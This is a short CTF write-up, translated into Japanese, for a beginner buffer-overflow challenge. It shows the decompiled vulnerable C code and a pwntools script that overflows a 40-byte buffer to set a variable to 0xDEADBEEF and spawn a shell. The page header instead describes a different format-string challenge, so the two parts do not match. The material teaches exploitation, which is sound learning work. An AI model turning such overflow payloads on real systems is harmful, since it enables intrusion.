2021-09-09 · 2분
GrabCON CTF — Can You write-up
GrabCON pwnable の write-up(cancancan):スタックカナリーリークという赤ニシンを追いかけた後、printf(buf) に offset 6 の FSB があることに気づき、read の GOT エントリを win 関数で上書きする。
2021-09-09 · 1분
この記事は公開から2年以上経過しています。
サイト: https://ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#1
最近ブログをあまり書いていませんでしたが、もう一度書いてみます,,,
使用プログラム:ida7.5 pro, python 3.8.10, Ubuntu 20.04.3 LTS
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[40]; // [esp+4h] [ebp-34h] BYREF
int v5; // [esp+2Ch] [ebp-Ch]
v5 = 0x4030201;
fgets(s, 45, stdin);
printf("\n[buf]: %s\n", s);
printf("[check] %p\n", v5);
if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
puts("\nYou are on the right way!");
if ( v5 == 0xDEADBEEF )
{
puts("Yeah dude! You win!\nOpening your shell...");
system("/bin/dash");
puts("Shell closed! Bye.");
}
return 0;
}
上のサイトから問題をダウンロードして ida でデコンパイルしたときに出るコードです。
system("/bin/dash"); を実行させるのが目的でしょうね..
私たちが入力するところは s で、この s の範囲は 40 です。しかし fgets では 45 まで入力を受け取りますね。ここで BOF が起きます。
ひとまず v5 が 0xDEADBEEF であればよさそうです。dummy[40] + 0xDEADBEEF で解決しそうな問題です。
ソースコード
もっと見る
Exploit
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3000)
v5 = p32(0xDEADBEEF)
payload = b''
payload += b'A'*40 + v5
p.send(payload)
p.interactive()
[ハッキング/システムハッキング] - [システムハッキング] Buffer Overflow (BOF)
[[システムハッキング] Buffer Overflow (BOF)
BUFFER OVERFLOW BOF 設定されているバッファのサイズより大きく入力を受け取れるときに生じる脆弱性です。int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h..
— nabomhalang.tistory.com
原文(韓国語): tistory — 2021-09-09 公開、当ブログへ移行。この翻訳は AI の協力で作成されました。
…